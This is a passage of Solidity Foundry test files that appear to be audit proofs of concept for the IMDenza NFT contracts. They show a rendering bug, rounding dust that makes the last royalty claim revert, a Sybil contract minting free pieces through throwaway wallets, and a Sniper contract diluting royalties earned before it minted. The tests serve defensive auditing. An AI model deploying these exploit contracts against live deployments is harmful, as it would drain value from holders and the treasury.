            bytes32 s = keccak256(abi.encodePacked(h, entropy, tokenId));
            if (uint8(s[2]) % 100 >= 91) {
                return IMDenzaRenderer.Piece({
                    tokenId: tokenId,
                    tokenHash: h,
                    swarmEntropy: entropy,
                    swarmJobIndex: 0,
                    typeProfile: 0
                });
            }
        }
        revert("no hash found");
    }

    function test_densityBucketThreeMakesTokenUriRevert() public view {
        bytes32 entropy = bytes32(uint256(20) << (8 * 29)); // byte 2 == 20 (e[2] % 21 == 20)
        IMDenzaRenderer.Piece memory p = _find(entropy, 1);

        IMDenzaRenderer.Traits memory t = renderer.traits(p);
        // Density has three named buckets (Sparse/Medium/Dense); a fourth value must never be produced.
        assertLe(t.density, 2, "density bucket out of range");

        // With the defect, both of these panic with 0x32 (array out of bounds) and the piece can never be rendered.
        string memory uri = renderer.tokenURI(p);
        assertGt(bytes(uri).length, 0);
        string memory s = renderer.svg(p);
        assertGt(bytes(s).length, 0);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {SwarmHistory} from "src/SwarmHistory.sol";
import {IMDenzaField} from "src/IMDenzaField.sol";
import {IMDenzaRenderer} from "src/IMDenzaRenderer.sol";
import {IMDenza} from "src/IMDenza.sol";
import {IMDenzaDistributor} from "src/IMDenzaDistributor.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract DustImd is ERC20 {
    constructor() ERC20("IMD", "IMD") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// @notice Proof: IMDenzaDistributor.distribute credits `perToken * minted` accumulator units to
///         the tokens but only adds `floor(perToken * minted / 1e18)` to `reserved`. Whenever
///         `unattributed * 1e18` is not divisible by `minted`, that is one wei less than what was
///         credited, and the same wei is counted as "unattributed" again on the next call. The
///         accumulators therefore promise more than the contract holds, `reserved` runs short, and
///         the last holder to claim reverts with an arithmetic underflow in `reserved -= amount`.
contract DistributorDustProof is Test {
    address constant ETH = address(0);
    address constant CONFIGURATOR = 0x3d6a89C8751a45DD577a4C1F3b34E71C58236193;

    IMDenza nft;
    IMDenzaDistributor dist;
    address[3] holders = [address(0xA11CE), address(0xB0B), address(0xCA201)];

    function setUp() public {
        vm.roll(20_000_000);
        vm.warp(1_760_000_000);
        SwarmHistory swarm = new SwarmHistory();
        IMDenzaField field = new IMDenzaField();
        IMDenzaRenderer renderer = new IMDenzaRenderer(address(swarm), address(field));
        nft = new IMDenza(CONFIGURATOR, address(renderer), address(swarm));
        dist = nft.distributor();
        vm.etch(nft.IMD_TOKEN_A(), address(new DustImd()).code);
        for (uint256 i; i < 3; ++i) {
            DustImd(nft.IMD_TOKEN_A()).mint(holders[i], 26 ether);
            vm.prank(holders[i]);
            nft.claimWithImd();
        }
    }

    function _one(uint256 id) internal pure returns (uint256[] memory ids) {
        ids = new uint256[](1);
        ids[0] = id;
    }

    /// @dev Three ordinary royalty payments of 5 wei to 3 holders. Expected: every holder can claim
    ///      and the claims never exceed the balance. Actual: the third claim reverts (underflow),
    ///      because the holders are owed 15 wei in total while `reserved` is only 14.
    function test_lastClaimantRevertsAfterOrdinaryDistributions() public {
        for (uint256 d; d < 3; ++d) {
            vm.deal(address(dist), address(dist).balance + 5);
            dist.distribute(ETH);
        }
        uint256 balance = address(dist).balance;
        uint256 owed;
        for (uint256 i = 1; i <= 3; ++i) {
            owed += dist.pending(ETH, i);
        }
        assertLe(owed, balance, "distributor promises more than it holds");
        for (uint256 i = 1; i <= 3; ++i) {
            // Expected: each claim succeeds (the contract does hold the 15 wei it owes).
            dist.claim(ETH, _one(i));
        }
    }

    /// @dev Calling `distribute` again with no new value must be a no-op (revert NothingToDistribute).
    ///      Actual: the leftover wei is re-attributed on every call, inflating every token's pending
    ///      balance without any new funds, until the total claimable exceeds the balance.
    function test_repeatedDistributeInflatesPendingWithoutNewFunds() public {
        vm.deal(address(dist), 5);
        dist.distribute(ETH);
        for (uint256 k; k < 6; ++k) {
            // Under correct accounting these revert with NothingToDistribute; tolerate either way.
            try dist.distribute(ETH) {} catch {}
        }
        uint256 owed;
        for (uint256 i = 1; i <= 3; ++i) {
            owed += dist.pending(ETH, i);
        }
        assertLe(owed, address(dist).balance, "pending inflated beyond balance by repeated distribute");
        for (uint256 i = 1; i <= 3; ++i) {
            dist.claim(ETH, _one(i));
        }
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IERC20} from "forge-std/interfaces/IERC20.sol";
import {SwarmHistory} from "src/SwarmHistory.sol";
import {IMDenzaField} from "src/IMDenzaField.sol";
import {IMDenzaRenderer} from "src/IMDenzaRenderer.sol";
import {IMDenza} from "src/IMDenza.sol";

/// @dev Minimal ERC-20 etched at the IMD token address.
contract ProofERC20 {
    string public name = "Identity.md";
    string public symbol = "IMD";
    uint8 public decimals = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
        totalSupply += amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

/// @dev One throwaway "wallet": claims once, hands the IMD back.
contract Child {
    function run(IMDenza nft, IERC20 imd, address back) external {
        nft.claimWithImd();
        imd.transfer(back, imd.balanceOf(address(this)));
    }

    function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
        return this.onERC721Received.selector;
    }
}

/// @dev Recycles the same 26 IMD through fresh wallets, one free claim each, in a single transaction.
contract Sybil {
    function drain(IMDenza nft, IERC20 imd, uint256 n) external {
        for (uint256 i; i < n; ++i) {
            Child c = new Child();
            imd.transfer(address(c), 26 ether);
            c.run(nft, imd, address(this));
        }
    }
}

contract SybilImdClaimProof is Test {
    IMDenza nft;
    ProofERC20 imd;
    Sybil sybil;

    function setUp() public {
        vm.roll(20_000_000);
        vm.warp(1_760_000_000);
        SwarmHistory swarm = new SwarmHistory();
        IMDenzaField field = new IMDenzaField();
        IMDenzaRenderer renderer = new IMDenzaRenderer(address(swarm), address(field));
        nft = new IMDenza(address(0xBEEF), address(renderer), address(swarm));
        vm.etch(nft.IMD_TOKEN_A(), address(new ProofERC20()).code);
        imd = ProofERC20(nft.IMD_TOKEN_A());
        sybil = new Sybil();
        imd.mint(address(sybil), 26 ether);
    }

    /// Expected: one wallet holding 26 IMD is entitled to one free piece; every further piece costs
    /// 0.069 IMD and pays holders and the treasury.
    /// Actual: 26 IMD recycled through 50 throwaway wallets mints 50 pieces for free in one
    /// transaction, with zero proceeds to anyone, and the attacker still holds the 26 IMD.
    function test_oneWalletWith26ImdCannotMintMoreThanOnePieceForFree() public {
        uint256 n = 50;
        try sybil.drain(nft, IERC20(address(imd)), n) {} catch {}

        // Whatever the attacker tried, 26 IMD must not buy more than one free piece.
        assertLe(nft.totalMinted(), 1, "26 IMD minted more than one free piece");
        // Sanity on what the attacker ends up with (holds true before and after a fix).
        assertEq(imd.balanceOf(address(sybil)), 26 ether);
        assertEq(imd.balanceOf(nft.TREASURY()), 0);
        assertEq(imd.balanceOf(address(nft.distributor())), 0);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {SwarmHistory} from "src/SwarmHistory.sol";
import {IMDenzaField} from "src/IMDenzaField.sol";
import {IMDenzaRenderer} from "src/IMDenzaRenderer.sol";
import {IMDenza} from "src/IMDenza.sol";
import {IMDenzaDistributor} from "src/IMDenzaDistributor.sol";

/// @dev Minimal ERC-20 etched at IMDenza.IMD_TOKEN_A (18 decimals).
contract TinyERC20 {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    function decimals() external pure returns (uint8) {
        return 18;
    }

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

/// @dev Stand-in for Limit Break's default validator (accepts everything).
contract StubValidator {
    function setTransferSecurityLevelOfCollection(address, uint8, bool, bool, bool) external {}
    function applyListToCollection(address, uint120) external {}
    function setTokenTypeOfCollection(address, uint16) external {}
    function validateTransfer(address, address, address, uint256) external view {}
}

/// @dev Mints `n` pieces publicly and then distributes the pending ETH, all in one transaction.
contract Sniper {
    function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
        return this.onERC721Received.selector;
    }

    function run(IMDenza nft, TinyERC20 imd, uint256 n) external {
        imd.approve(address(nft), type(uint256).max);
        for (uint256 i; i < n; ++i) {
            nft.mint(address(imd));
        }
        nft.distributor().distribute(address(0));
    }
}

contract ProofRoyaltyDilutionTest is Test {
    address constant CONFIGURATOR = 0x3d6a89C8751a45DD577a4C1F3b34E71C58236193;
    address constant VALIDATOR = 0x721C002B0059009a671D00aD1700c9748146cd1B;

    IMDenza nft;
    IMDenzaDistributor dist;
    TinyERC20 imd;
    address alice = makeAddr("alice");

    function setUp() public {
        vm.roll(20_000_000);
        vm.warp(1_760_000_000);
        vm.etch(VALIDATOR, address(new StubValidator()).code);
        SwarmHistory swarm = new SwarmHistory();
        IMDenzaField field = new IMDenzaField();
        IMDenzaRenderer renderer = new IMDenzaRenderer(address(swarm), address(field));
        nft = new IMDenza(CONFIGURATOR, address(renderer), address(swarm));
        dist = nft.distributor();
        vm.etch(nft.IMD_TOKEN_A(), address(new TinyERC20()).code);
        imd = TinyERC20(nft.IMD_TOKEN_A());
    }

    /// Royalties that arrived while Alice held the only piece must belong to Alice's piece.
    function test_royaltiesEarnedBeforeAMintAreNotSharedWithIt() public {
        imd.mint(alice, 26 ether);
        vm.prank(alice);
        nft.claimWithImd(); // token 1, the only holder

        // 10 ETH of royalties arrive (OpenSea pays the distributor directly).
        (bool ok,) = address(dist).call{value: 10 ether}("");
        assertTrue(ok);

        // Before anyone calls distribute(ETH), a sniper mints 9 pieces and distributes in one tx.
        Sniper s = new Sniper();
        imd.mint(address(s), 1 ether);
        s.run(nft, imd, 9); // tokens 2..10

        assertEq(dist.pending(address(0), 1), 10 ether, "royalty earned before tokens 2..10 existed went to them");
        assertEq(dist.pending(address(0), 2), 0, "token 2 must not receive royalties that predate it");
    }
}